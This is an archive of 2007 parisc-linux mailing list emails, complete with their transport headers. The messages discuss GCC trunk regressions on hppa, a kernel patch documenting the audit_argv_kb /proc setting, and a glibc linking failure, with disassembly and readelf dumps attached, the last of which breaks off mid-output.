X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 03 Jul 2007 09:59:09 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx079) with SMTP; 03 Jul 2007 11:59:09 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D87267DD8E;
	Tue,  3 Jul 2007 03:59:04 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18252-08; Tue, 3 Jul 2007 03:59:04 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7F69B7DD93;
	Tue,  3 Jul 2007 03:59:02 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CA8307DD87
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  3 Jul 2007 03:58:59 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18252-04 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 3 Jul 2007 03:58:58 -0600 (MDT)
Original-Received: from mail.cs.tu-berlin.de (mail.cs.tu-berlin.de [130.149.17.13])
	by free.linux.hp.com (Postfix) with ESMTP id E47017DD85
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  3 Jul 2007 03:58:57 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by localhost-12225.cs.tu-berlin.de (Postfix) with ESMTP id BD73819F63; 
	Tue,  3 Jul 2007 11:58:54 +0200 (MEST)
Original-Received: from mailhost.cs.tu-berlin.de ([127.0.0.1])
	by localhost (mail.cs.tu-berlin.de [127.0.0.1]) (amavisd-new,
	port 12224)
	with ESMTP id 29275-01; Tue,  3 Jul 2007 11:58:52 +0200 (MEST) 12653
Original-Received: from bolero.cs.tu-berlin.de (bolero.cs.tu-berlin.de [130.149.19.1])
	(using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits))
	(No client certificate requested)
	by mailhost.cs.tu-berlin.de (Postfix) with ESMTP;
	Tue,  3 Jul 2007 11:58:52 +0200 (MEST)
Original-Received: (from doko@localhost)
	by bolero.cs.tu-berlin.de (8.13.8+Sun/8.13.3/Submit) id l639wp5t006858; 
	Tue, 3 Jul 2007 11:58:51 +0200 (MEST)
In-Reply-To: <200707021653.l62Grit6023802@hiauly1.hia.nrc.ca>
X-Mailer: VM 7.17 under 21.4 (patch 20) "Double Solitaire" XEmacs Lucid
X-Virus-Scanned: by amavisd-new at cs.tu-berlin.de (including spamassassin)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: i2zjKc4qMydzT4igZWplASFraGRhZhpK
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24697

John David Anglin writes:
> > Testing 20070630 including the fix for PR rtl-optimization/32296 shows
> > many new C++ and libstdc++ regressions.
> 
> We also have problems with building hppa64 and Ada.  So, things are
> a mess at the moment...

The hppa64 cross compiler at least did build; Ada is broken on other
archs as well (at least 20070702).
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] GCC trunk 20070630
Date: Tue, 3 Jul 2007 09:48:30 -0400 (EDT)
Lines: 18
Approved: news@gmane.org
Message-ID: <200707031348.l63DmUrJ015142__39625.4758620218$1416624407$gmane$org@hiauly1.hia.nrc.ca>
References: <18058.7643.461885.7204@gargle.gargle.HOWL>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624407 24681 80.91.229.3 (22 Nov 2014 02:46:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:46:47 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org,
 debian-hppa@lists.debian.org
To: doko@cs.tu-berlin.de (Matthias Klose)
Original-X-From: - Wed Jul 02 21:27:42 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 03 Jul 2007 13:48:47 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx011) with SMTP; 03 Jul 2007 15:48:47 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C313F7DDA0;
	Tue,  3 Jul 2007 07:48:41 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 21082-03; Tue, 3 Jul 2007 07:48:41 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 91DAE7DD97;
	Tue,  3 Jul 2007 07:48:39 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 97A157DD8E
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  3 Jul 2007 07:48:36 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18605-10 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 3 Jul 2007 07:48:34 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id BAE097DD8C
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  3 Jul 2007 07:48:34 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7) with ESMTP id l63DmVhU015143;
	Tue, 3 Jul 2007 09:48:31 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7/Submit) id l63DmUrJ015142;
	Tue, 3 Jul 2007 09:48:30 -0400 (EDT)
In-Reply-To: <18058.7643.461885.7204@gargle.gargle.HOWL> from "Matthias Klose"
	at Jul 3, 2007 11:58:51 am
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 8mqyc4Bhbmw6bK2HZzdLHEhHUzc4chFM
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24698

> The hppa64 cross compiler at least did build;

Since the dataflow merge, the hppa64-hp-hpux11.11 build fails at
the start of stage3.  More info is available in PR middle-end/32398.
The ptr-plus merge also has some affect.  After the pointer plus
merge, there's a small test case in the PR that's miscompiled
with the stage1 compiler.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:06 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Peter Zijlstra <a.p.zijlstra@chello.nl>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [patch 2/3] audit: rework execve audit
Date: Tue, 03 Jul 2007 17:00:55 +0200
Lines: 50
Approved: news@gmane.org
Message-ID: <1183474855.7054.2.camel__33385.225889697$1416624407$gmane$org@twins>
References: <20070613100334.635756997@chello.nl>
	<20070613100834.897301179@chello.nl>
	<20070626155541.9708eded.akpm@linux-foundation.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624407 24685 80.91.229.3 (22 Nov 2014 02:46:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:46:47 +0000 (UTC)
Cc: linux-arch@vger.kernel.org,
 linux-kernel@vger.kernel.org,
 Andi Kleen <ak@suse.de>,
 linux-mm@kvack.org,
 linux-audit@redhat.com,
 Ollie Wild <aaw@google.com>,
 Ingo Molnar <mingo@elte.hu>,
 parisc-linux@lists.parisc-linux.org
To: Andrew Morton <akpm@linux-foundation.org>
Original-X-From: - Wed Jul 02 21:27:42 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 03 Jul 2007 15:01:17 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx085) with SMTP; 03 Jul 2007 17:01:17 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BB1C67DDA0;
	Tue,  3 Jul 2007 09:01:11 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 21535-05; Tue, 3 Jul 2007 09:01:11 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6DD1F7DDA2;
	Tue,  3 Jul 2007 09:01:09 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DB7DA7DD68
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  3 Jul 2007 09:01:05 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 21535-02 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 3 Jul 2007 09:01:04 -0600 (MDT)
Original-Received: from viefep32-int.chello.at (viefep18-int.chello.at [213.46.255.22])
	by free.linux.hp.com (Postfix) with ESMTP id 986EE7DD67
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  3 Jul 2007 09:01:03 -0600 (MDT)
Original-Received: from [192.168.0.111] (really [62.195.55.87])
	by viefep32-int.chello.at
	(InterMail vM.7.08.02.02 201-2186-121-104-20070414) with ESMTP
	id <20070703150101.HHQX28517.viefep32-int.chello.at@[192.168.0.111]>;
	Tue, 3 Jul 2007 17:01:01 +0200
In-Reply-To: <20070626155541.9708eded.akpm@linux-foundation.org>
X-Mailer: Evolution 2.10.1 
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: hVO5cv5gf2I+KoicY2xo0IBwdWxlc5a5
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24699

On Tue, 2007-06-26 at 15:55 -0700, Andrew Morton wrote:
> On Wed, 13 Jun 2007 12:03:36 +0200
> Peter Zijlstra <a.p.zijlstra@chello.nl> wrote:
> 
> > +#ifdef CONFIG_AUDITSYSCALL
> > +	{
> > +		.ctl_name	= CTL_UNNUMBERED,
> > +		.procname	= "audit_argv_kb",
> > +		.data		= &audit_argv_kb,
> > +		.maxlen		= sizeof(int),
> > +		.mode		= 0644,
> > +		.proc_handler	= &proc_dointvec,
> > +	},
> > +#endif
> 
> Please document /proc entries in Documentation/filesystems/proc.txt



Signed-off-by: Peter Zijlstra <a.p.zijlstra@chello.nl>
---
 Documentation/filesystems/proc.txt |    7 +++++++
 1 file changed, 7 insertions(+)

Index: linux-2.6/Documentation/filesystems/proc.txt
===================================================================
--- linux-2.6.orig/Documentation/filesystems/proc.txt
+++ linux-2.6/Documentation/filesystems/proc.txt
@@ -1075,6 +1075,13 @@ check the amount of free space (value is
 resume it  if we have a value of 3 or more percent; consider information about
 the amount of free space valid for 30 seconds
 
+audit_argv_kb
+-------------
+
+The file contains a single value denoting the limit on the argv array size
+for execve (in KiB). This limit is only applied when system call auditing for
+execve is enabled, otherwise the value is ignored.
+
 ctrl-alt-del
 ------------
 


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?ISO-8859-1?Q?S=E9bastien_Bernard?= <seb@frankengul.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] glibc is broken because of gcc
Date: Wed, 04 Jul 2007 00:36:15 +0200
Lines: 1016
Approved: news@gmane.org
Message-ID: <468ACF5F.5060903__32745.2357429594$1416624408$gmane$org@frankengul.org>
References: <200707030158.l631wkrg003150@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="------------070304040203050209060201"
X-Trace: ger.gmane.org 1416624408 24688 80.91.229.3 (22 Nov 2014 02:46:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:46:48 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org,
 aurelien@aurel32.net,
 debian-hppa@lists.debian.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:42 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 03 Jul 2007 22:36:31 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx036) with SMTP; 04 Jul 2007 00:36:31 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 377D57DDB1;
	Tue,  3 Jul 2007 16:36:28 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24148-07; Tue, 3 Jul 2007 16:36:28 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 047527DDB3;
	Tue,  3 Jul 2007 16:36:25 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 52A1C7DDB0
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  3 Jul 2007 16:36:20 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24148-03 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 3 Jul 2007 16:36:18 -0600 (MDT)
Original-Received: from mallaury.nerim.net (smtp-102-tuesday.noc.nerim.net
	[62.4.17.102])
	by free.linux.hp.com (Postfix) with ESMTP id AD1E97DDAF
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  3 Jul 2007 16:36:17 -0600 (MDT)
Original-Received: from [192.168.0.168] (calypso.frankengul.org [213.41.240.201])
	by mallaury.nerim.net (Postfix) with ESMTP id 9F53A4F3D9;
	Wed,  4 Jul 2007 00:36:01 +0200 (CEST)
User-Agent: Thunderbird 2.0.0.4 (X11/20070618)
In-Reply-To: <200707030158.l631wkrg003150@hiauly1.hia.nrc.ca>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: Q/a5fvUmMmAobLSZZGFnD1sxMjQ1N12L
Status: R
X-Status: NT
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24700

This is a multi-part message in MIME format.
--------------070304040203050209060201
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 8bit

John David Anglin a crit :
>> Here is the readelf of the broken build :
>> seb@hpnux:~/glibc-2.5/build-tree/hppa-libc/rt$ readelf -a ./libc.so 
>> |grep multiple_threads
>>    1230: 0013e328     4 OBJECT  GLOBAL DEFAULT   32
>> __librt_multiple_threads@@GLIBC_PRIVATE
>>    2737: 0013e328     4 OBJECT  LOCAL  HIDDEN   32 __libc_multiple_threads
>>    3961: 0013e328     4 OBJECT  GLOBAL DEFAULT   32 __librt_multiple_threads
>>
>> seb@hpnux:~/dev/glibc/glibc-2.5/build-tree/hppa-libc/rt$ readelf -a
>> librt_pic.a |grep multiple_threads
>>      18: 00000000     0 NOTYPE  GLOBAL HIDDEN  UND __librt_multiple_threads
>>       6: 00000000     0 NOTYPE  GLOBAL DEFAULT  UND __librt_multiple_threads
>>       6: 00000000     0 NOTYPE  GLOBAL DEFAULT  UND __librt_multiple_threads
>>
>> I don't see anything wrong. Moreover, the readelf on the correct library 
>> gives exactly the same result.
> 
> The error in bug 428509 is:
> 
> ...
> /home/seb/dev/glibc-2.5/build-tree/hppa-libc/rt/librt_pic.a(mq_timedreceive.os):(.text+0x20): more undefined references to `__librt_multiple_threads' follow
> /usr/bin/ld: /home/seb/dev/glibc-2.5/build-tree/hppa-libc/rt/librt.so: hidden symbol `__librt_multiple_threads' isn't defined
> /usr/bin/ld: final link failed: Nonrepresentable section on output
> 
> Looking at gcc PR 20218, it's clear that there are some very subtle
> issues here.  So, it's not clear to me where the problem lies.  It
> could be in glibc (hppa sysdep-cancel.h), binutils or gcc.  The handling
> of the visibility attribute was broken prior to HJL's change, so it
> could have exposed bugs in other packages.
> 
> Because of this, it was a mistake for Debian to backport this change.
> The change is only in the unreleased gcc trunk.
> 
> Since the problem was introduced by a gcc change, I'd start with
> a gcc PR and mention the patch that introduced the regression.
> 
> Could you do glibc builds with the gcc trunk before and after the change?
> It's best to base the PR on an unmodified version of gcc.
> 
> It would help to know the exact details of the linker command that
> fails, the assembler code generated for mq_timedreceive, and the
> __librt_multiple_threads symbols in __librt_multiple_threads librt.so.
> 
> Dave
Here is the detail of the link command done with gcc-4.1-4.1.2-13.

It's not clear want do you want exactly.

I join the result of :
   objdump -d mq_timedreceive.os
   readelf -a libc-cancellation.os
   readelf -a mq_timedreceive.os

Hope this is what you're asking for.

Seb


--------------070304040203050209060201
Content-Type: text/plain;
 name="dump.objdump_timedreceive"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
 filename="dump.objdump_timedreceive"


mq_timedreceive.os:     file format elf32-hppa-linux

Disassembly of section .text:

00000000 <__GI_mq_timedreceive>:
   0:	6b c2 3f d9 	stw rp,-14(sp)
   4:	4b d6 3f 99 	ldw -34(sp),r22
   8:	08 03 02 41 	copy r3,r1
   c:	08 1e 02 43 	copy sp,r3
  10:	6f c1 00 80 	stw,ma r1,40(sp)
  14:	6b c2 3f d9 	stw rp,-14(sp)
  18:	0f c3 12 99 	stw r3,-4(sp)
  1c:	2a 60 00 00 	addil L%0,r19,r1
  20:	48 3c 00 00 	ldw 0(r1),ret0
  24:	0f 80 10 9c 	ldw 0(ret0),ret0
  28:	8f 80 20 5a 	cmpib,<>,n 0,ret0,5c <__GI_mq_timedreceive+0x5c>
  2c:	08 13 02 43 	copy r19,r3
  30:	e4 00 82 00 	be,l 100(sr2,r0),sr0,r31
  34:	34 14 01 d0 	ldi e8,r20
  38:	34 01 20 01 	ldi -1000,r1
  3c:	8b 81 81 12 	cmpb,>>=,n r1,ret0,cc <__GI_mq_timedreceive+0xcc>
  40:	08 03 02 53 	copy r3,r19
  44:	e8 40 00 00 	b,l 4c <__GI_mq_timedreceive+0x4c>,rp
  48:	08 1c 02 43 	copy ret0,r3
  4c:	08 60 04 03 	sub r0,r3,r3
  50:	0f 83 12 80 	stw r3,0(ret0)
  54:	e8 00 00 e0 	b,l cc <__GI_mq_timedreceive+0xcc>,r0
  58:	34 1c 3f ff 	ldi -1,ret0
  5c:	6b da 3f b9 	stw r26,-24(sp)
  60:	6b d9 3f b1 	stw r25,-28(sp)
  64:	6b d8 3f a9 	stw r24,-2c(sp)
  68:	6b d7 3f a1 	stw r23,-30(sp)
  6c:	6b d6 3f 99 	stw r22,-34(sp)
  70:	e8 40 00 00 	b,l 78 <__GI_mq_timedreceive+0x78>,rp
  74:	08 13 02 43 	copy r19,r3
  78:	4b da 3f b9 	ldw -24(sp),r26
  7c:	4b d9 3f b1 	ldw -28(sp),r25
  80:	4b d8 3f a9 	ldw -2c(sp),r24
  84:	4b d7 3f a1 	ldw -30(sp),r23
  88:	4b d6 3f 99 	ldw -34(sp),r22
  8c:	6b dc 3f d1 	stw ret0,-18(sp)
  90:	e4 00 82 00 	be,l 100(sr2,r0),sr0,r31
  94:	34 14 01 d0 	ldi e8,r20
  98:	08 03 02 53 	copy r3,r19
  9c:	4b da 3f d1 	ldw -18(sp),r26
  a0:	e8 40 00 00 	b,l a8 <__GI_mq_timedreceive+0xa8>,rp
  a4:	6b dc 3f d1 	stw ret0,-18(sp)
  a8:	4b dc 3f d1 	ldw -18(sp),ret0
  ac:	34 01 20 01 	ldi -1000,r1
  b0:	8b 81 80 2a 	cmpb,>>=,n r1,ret0,cc <__GI_mq_timedreceive+0xcc>
  b4:	08 03 02 53 	copy r3,r19
  b8:	08 1c 02 43 	copy ret0,r3
  bc:	e8 40 00 00 	b,l c4 <__GI_mq_timedreceive+0xc4>,rp
  c0:	08 60 04 03 	sub r0,r3,r3
  c4:	0f 83 12 80 	stw r3,0(ret0)
  c8:	34 1c 3f ff 	ldi -1,ret0
  cc:	4b c2 3f 59 	ldw -54(sp),rp
  d0:	4f c3 3f 81 	ldw,mb -40(sp),r3
  d4:	e8 40 c0 02 	bv,n r0(rp)

--------------070304040203050209060201
Content-Type: text/plain;
 name="dump.readelf_libc-cancel"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
 filename="dump.readelf_libc-cancel"

ELF Header:
  Magic:   7f 45 4c 46 01 02 01 03 00 00 00 00 00 00 00 00 
  Class:                             ELF32
  Data:                              2's complement, big endian
  Version:                           1 (current)
  OS/ABI:                            UNIX - Linux
  ABI Version:                       0
  Type:                              REL (Relocatable file)
  Machine:                           HPPA
  Version:                           0x1
  Entry point address:               0x0
  Start of program headers:          0 (bytes into file)
  Start of section headers:          18152 (bytes into file)
  Flags:                             0x210, PA-RISC 1.1
  Size of this header:               52 (bytes)
  Size of program headers:           0 (bytes)
  Number of program headers:         0
  Size of section headers:           40 (bytes)
  Number of section headers:         25
  Section header string table index: 22

Section Headers:
  [Nr] Name              Type            Addr     Off    Size   ES Flg Lk Inf Al
  [ 0]                   NULL            00000000 000000 000000 00      0   0  0
  [ 1] .text             PROGBITS        00000000 000034 000080 00  AX  0   0  4
  [ 2] .rela.text        RELA            00000000 004dac 000024 0c     23   1  4
  [ 3] .data             PROGBITS        00000000 0000b4 000000 00  WA  0   0  1
  [ 4] .bss              NOBITS          00000000 0000b4 000004 00  WA  0   0  4
  [ 5] .note             NOTE            00000000 0000b4 000014 00      0   0  1
  [ 6] .debug_abbrev     PROGBITS        00000000 0000c8 000254 00      0   0  1
  [ 7] .debug_info       PROGBITS        00000000 00031c 00242d 00      0   0  1
  [ 8] .rela.debug_info  RELA            00000000 004dd0 0018fc 0c     23   7  4
  [ 9] .debug_line       PROGBITS        00000000 002749 000402 00      0   0  1
  [10] .rela.debug_line  RELA            00000000 0066cc 00000c 0c     23   9  4
  [11] .PARISC.unwind    PROGBITS        00000000 002b4c 000020 04   A  0   1  4
  [12] .rela.PARISC.unwi RELA            00000000 0066d8 000030 0c     23  11  4
  [13] .debug_frame      PROGBITS        00000000 002b6c 00003c 00      0   0  4
  [14] .rela.debug_frame RELA            00000000 006708 000030 0c     23  13  4
  [15] .debug_loc        PROGBITS        00000000 002ba8 000045 00      0   0  1
  [16] .debug_pubnames   PROGBITS        00000000 002bed 0000ac 00      0   0  1
  [17] .rela.debug_pubna RELA            00000000 006738 00000c 0c     23  16  4
